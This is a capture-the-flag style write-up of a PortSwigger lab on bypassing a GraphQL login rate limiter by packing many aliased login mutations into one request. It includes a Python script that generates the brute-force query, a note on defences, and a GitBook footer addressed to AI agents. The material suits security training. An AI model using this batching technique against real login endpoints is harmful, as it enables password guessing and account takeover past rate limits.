> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-graphql-labs/lab-4.md).

# lab-4

## Bypassing GraphQL Brute Force Protections

**Difficulty:** Practitioner

### Lab Description

The user login mechanism for this lab is powered by a GraphQL API. The endpoint has a rate limiter that returns an error if it receives too many requests from the same origin in a short space of time.

**Objective:** Brute force the login mechanism to sign in as `carlos`. Use the [authentication lab password list](https://portswigger.net/web-security/authentication/auth-lab-passwords) as your wordlist.

### Solution

**Step 1 — Locate the GraphQL login endpoint**

Go to **My account** and attempt a login with invalid credentials. Capture the traffic in Burp Suite, find the `POST /graphql/v1` login request in the proxy history, and send it to Repeater.

**Step 2 — Confirm the rate limit blocks Intruder**

Send the login request to Intruder, set the username to `carlos`, mark the password field as the injection point, and load the password wordlist. Start the attack — after a few requests, responses return a "Too many attempts, try again after 10 minutes" error. The rate limiter is counting individual HTTP requests, so the Intruder approach is blocked.

**Step 3 — Use GraphQL aliases to batch all attempts into one request**

GraphQL allows multiple operations in a single request using **aliases** — each alias gives a unique name to a separate resolver call. The rate limiter counts HTTP requests, not GraphQL operations, so a single request containing 100 aliased mutations bypasses it entirely.

An example of the structure:

```graphql
mutation BatchedLogin {
  attempt_0: login(input: { username: "carlos", password: "password1" }) { success }
  attempt_1: login(input: { username: "carlos", password: "password2" }) { success }
  attempt_2: login(input: { username: "carlos", password: "password3" }) { success }
  # ...and so on for every password in the list
}
```

Writing this out manually for 100+ passwords isn't practical, so use this Python script to generate it automatically. Save the password wordlist as `passwords.txt` first:

```python
target_username = "carlos"
query_segments = []

try:
    with open("passwords.txt", "r", encoding="utf-8") as file:
        for index, line in enumerate(file):
            password = line.strip()
            if not password:
                continue
            segment = f'    attempt_{index}: login(input: {{ username: "{target_username}", password: "{password}" }}) {{ success }}'
            query_segments.append(segment)

    final_query = "mutation BatchedLogin {\n" + "\n".join(query_segments) + "\n}"
    print(final_query)

except FileNotFoundError:
    print("Error: Password file not found.")
```

**Step 4 — Send the batched mutation and find the password**

Paste the generated mutation into the GraphQL request body and send it. The response contains a result object for each alias. Search the response for `"success": true` — the alias where this appears corresponds to the correct password. Use it to log in as `carlos`.

### How the Bypass Works

A rate limiter that counts only HTTP requests sees this entire batched mutation as a **single request**, while the GraphQL server executes each aliased login call as a separate resolver invocation:

```
Normal Intruder approach:
  Request 1 → login("password1")   ← rate limiter counts this
  Request 2 → login("password2")   ← rate limiter counts this
  Request 3 → login("password3")   ← rate limiter counts this
  → Blocked after N requests

Alias batching:
  Request 1 → attempt_0: login("password1")
               attempt_1: login("password2")
               attempt_2: login("password3")   ← rate limiter sees 1 request
               ...
  → All 100 attempts processed in one HTTP request
```

> **Note:** Modern GraphQL defenses can counter this by measuring query complexity, alias count, or resolver execution depth rather than HTTP request count. This technique only works when rate limiting is applied purely at the HTTP layer.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-graphql-labs/lab-4.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
